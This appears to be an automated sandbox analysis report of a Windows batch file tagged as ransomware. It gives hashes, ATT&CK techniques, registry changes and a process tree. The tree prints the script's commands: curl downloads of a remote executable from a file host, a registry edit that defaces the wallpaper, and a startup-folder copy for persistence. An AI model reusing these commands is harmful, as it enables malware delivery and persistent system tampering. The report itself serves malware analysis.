d3d75a38c3398dc1012c359235a8113c48ab3b5fecd5b182f6ec89928bcf5177

Analysis

max time kernel
21s
max time network
23s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
28-06-2024 07:34

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General

Target

cwel.bat
Size

1KB
MD5

fe933f6785704efd4916840328020f5e
SHA1

c40fc93ad55ed5e51a91d30897fc7b5f8c3b62c4
SHA256

d3d75a38c3398dc1012c359235a8113c48ab3b5fecd5b182f6ec89928bcf5177
SHA512

55b84a46f36666b002d333ef8bd722c7e0e8628aeb235e952e51b9e63ce5a959acb17ca65ce67513810f5545898775bf556dc109e408af2dc9bc4750e78e7feb

Score

7^/10

ransomware

Malware Config

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cwel.bat	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\Desktop\wallpaper = "C:\\Users\\Admin\\desktop\\FlyPawelBroszka.jpg"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\Desktop\wallpaper = "C:\\Users\\Admin\\desktop\\FlyPawelBroszka.jpg"	reg.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133640337028973881"	chrome.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1156	chrome.exe
1156	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe
Token: SeShutdownPrivilege	1156	chrome.exe
Token: SeCreatePagefilePrivilege	1156	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe
1156	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 2880	752	cmd.exe	84
PID 752 wrote to memory of 2880	752	cmd.exe	84
PID 752 wrote to memory of 4732	752	cmd.exe	88
PID 752 wrote to memory of 4732	752	cmd.exe	88
PID 752 wrote to memory of 1008	752	cmd.exe	96
PID 752 wrote to memory of 1008	752	cmd.exe	96
PID 752 wrote to memory of 2844	752	cmd.exe	97
PID 752 wrote to memory of 2844	752	cmd.exe	97
PID 752 wrote to memory of 2680	752	cmd.exe	98
PID 752 wrote to memory of 2680	752	cmd.exe	98
PID 752 wrote to memory of 2888	752	cmd.exe	99
PID 752 wrote to memory of 2888	752	cmd.exe	99
PID 752 wrote to memory of 2736	752	cmd.exe	102
PID 752 wrote to memory of 2736	752	cmd.exe	102
PID 752 wrote to memory of 3696	752	cmd.exe	103
PID 752 wrote to memory of 3696	752	cmd.exe	103
PID 752 wrote to memory of 1940	752	cmd.exe	104
PID 752 wrote to memory of 1940	752	cmd.exe	104
PID 752 wrote to memory of 5084	752	cmd.exe	105
PID 752 wrote to memory of 5084	752	cmd.exe	105
PID 1156 wrote to memory of 4416	1156	chrome.exe	110
PID 1156 wrote to memory of 4416	1156	chrome.exe	110
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 556	1156	chrome.exe	111
PID 1156 wrote to memory of 2896	1156	chrome.exe	112
PID 1156 wrote to memory of 2896	1156	chrome.exe	112
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113
PID 1156 wrote to memory of 4660	1156	chrome.exe	113

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cwel.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\system32\curl.exe
  curl https://i.ibb.co/GWVz7Jy/367403957-109903008870996-6270919633466208067-n.jpg -o FlyPawelBroszka.jpg
  2⤵
  PID:2880
- C:\Windows\system32\curl.exe
  curl https://download1640.mediafire.com/f77feers5j3gDx67q3-Q9RmPyJeWv2su-UfLbp6fLX7MXFPViVDnXYqtQRxNNz9V19_ZsWslirxMU2F5qPMKd444l1177R9LLKDdjeC6PwYxZfr2VfhJDPfdhq3EinWhQn8LFEGPhLDnCgVWZxS0VMjKz5NKkTUT1yO4jQzPXw/1yy4kitux1ixwmo/Built.exe
  2⤵
  PID:4732
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\Users\Admin\desktop\FlyPawelBroszka.jpg /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:1008
- C:\Windows\system32\rundll32.exe
  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
  2⤵
  PID:2844
- C:\Windows\system32\curl.exe
  curl https://i.ibb.co/GWVz7Jy/367403957-109903008870996-6270919633466208067-n.jpg -o FlyPawelBroszka.jpg
  2⤵
  PID:2680
- C:\Windows\system32\curl.exe
  curl https://download1640.mediafire.com/f77feers5j3gDx67q3-Q9RmPyJeWv2su-UfLbp6fLX7MXFPViVDnXYqtQRxNNz9V19_ZsWslirxMU2F5qPMKd444l1177R9LLKDdjeC6PwYxZfr2VfhJDPfdhq3EinWhQn8LFEGPhLDnCgVWZxS0VMjKz5NKkTUT1yO4jQzPXw/1yy4kitux1ixwmo/Built.exe
  2⤵
  PID:2888
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\Users\Admin\desktop\FlyPawelBroszka.jpg /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:2736
- C:\Windows\system32\rundll32.exe
  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
  2⤵
  PID:3696
- C:\Windows\system32\curl.exe
  curl https://i.ibb.co/GWVz7Jy/367403957-109903008870996-6270919633466208067-n.jpg -o FlyPawelBroszka.jpg
  2⤵
  PID:1940
- C:\Windows\system32\curl.exe
  curl https://download1640.mediafire.com/f77feers5j3gDx67q3-Q9RmPyJeWv2su-UfLbp6fLX7MXFPViVDnXYqtQRxNNz9V19_ZsWslirxMU2F5qPMKd444l1177R9LLKDdjeC6PwYxZfr2VfhJDPfdhq3EinWhQn8LFEGPhLDnCgVWZxS0VMjKz5NKkTUT1yO4jQzPXw/1yy4kitux1ixwmo/Built.exe
  2⤵
  PID:5084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe09c3ab58,0x7ffe09c3ab68,0x7ffe09c3ab78
  2⤵
  PID:4416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1756 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:2
  2⤵
  PID:556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:2896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:4660
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3112 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:1
  2⤵
  PID:3264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3136 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:1
  2⤵
  PID:2564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4344 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:1
  2⤵
  PID:3000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4496 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:2680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4640 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:3900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:4468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4928 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:3012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5096 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:8
  2⤵
  PID:1940
- C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  PID:968
- - C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x238,0x23c,0x240,0x214,0x244,0x7ff78640ae48,0x7ff78640ae58,0x7ff78640ae68
    3⤵
    PID:3944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4196 --field-trial-handle=1968,i,6484168469273698496,9150811580566990287,131072 /prefetch:1
  2⤵
  PID:3440

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:1992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\FlyPawelBroszka.jpg

Filesize
221KB

MD5
641b14ca25a1e9aff13f788b3cb0e2d7

SHA1
7a779f28ae558741eddb4e687c553e504497b427

SHA256
a4ac34163c033ebab1405cb5637be2bd88c71f8a10cf13e69318558d680bb1ba

SHA512
1baf5e8e793965213f96f770ae4e8157718f7ad84551f4d2650baddea289725c6e9fc2304b9521d8c533550314665cf2f8478256008a97c90c3fedb307d84a3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cwel.bat

Filesize
1KB

MD5
fe933f6785704efd4916840328020f5e

SHA1
c40fc93ad55ed5e51a91d30897fc7b5f8c3b62c4

SHA256
d3d75a38c3398dc1012c359235a8113c48ab3b5fecd5b182f6ec89928bcf5177

SHA512
55b84a46f36666b002d333ef8bd722c7e0e8628aeb235e952e51b9e63ce5a959acb17ca65ce67513810f5545898775bf556dc109e408af2dc9bc4750e78e7feb

Download Submit